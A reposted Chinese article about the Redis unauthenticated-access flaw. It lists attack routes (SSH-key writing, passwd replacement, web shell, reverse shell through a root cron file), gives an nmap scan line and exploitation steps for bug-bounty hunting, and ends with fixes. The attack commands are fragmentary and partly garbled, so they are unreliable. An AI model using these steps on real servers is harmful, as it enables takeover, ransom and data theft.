首页
学习
活动
专区
工具
TVP
发布

摸金Redis漏洞

摘要:漏洞可以参考乌云案例

1.Redis漏洞基本信息漏洞名称:Redis服务器远程执行漏洞漏洞详情:Redis因配置不当可以无密码登录,导致未授权访问。

当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件进行远程控制、反弹shell进行远程控制、或投放其他恶意文件,也可以直接执行redis命令,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

利用原理:主要是通过无密码登录redis,然后往redis缓存写入数据库,再通过redis缓存保存到redis服务器任意目录。

目前常用的利用方式:1)写入SSH的key,然后利用key远程登录;2)替换redis服务器passwd文件,相当于修改服务器密码;3)写入网页木马(前提需要找到网站路径),可通过网页木马远程控制服务器;4)写入反弹shell,然后利用shell远程控制服务器

漏洞等级:高危

2.如何发现存在漏洞的网站

124.116.xxx.xxx(测试服务器哈),公网刷redis漏洞其实也是借助第三方信息收集平台,比如XX眼,然后再通过XXXX找到真实的域名,或者扫描端口。内网的话,就直接nmap -p 6379 192.168.1.1/24 -open。

3.漏洞利用测试

不管内网还是外网,漏洞的利用是关键。现在我们来进行测试一下

返回PONG说明是没有设置密码,直接查看服务器信息 info

一般到这来就可以提交漏洞了,只是getshell厂商给的赏金高,这里直接参考乌云案例步骤

a.由于redis服务器默认是没有设redis访问密码,攻击者可直接向rides服务器缓存写入一个反弹shell:

0>&1\n\n"redis-cli -h 需要测试的网站ip -x set 1

b.登录redis服务器redis服务,进行备份/创建一个/var/spool/cron目录root文件

redis-cli -h 需要测试的网站ip

c.最后就是开启监听端口

4.修复建议

纵观整个攻击流程,之所以很顺利,都是因为redis-server的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。

修复方法参考:

1、限制redis访问

如果仅需要在本地访问redis,找到redis.conf配置文件设置bind配置项为:bind 127.0.0.1

保存,重启redis服务再次查看redis进程。

或主机防火墙/网络防火墙设置仅允许某IP访问redis服务器redis服务端口(默认6379)。

2、设置redis访问密码

增加redis访问密码同上,在redis.conf配置文件中找到requirepass配置项,取消#注释符,在requirepass后面添加设置的密码

3、以非root用户运行redis服务

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20171229G0ZUFR00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券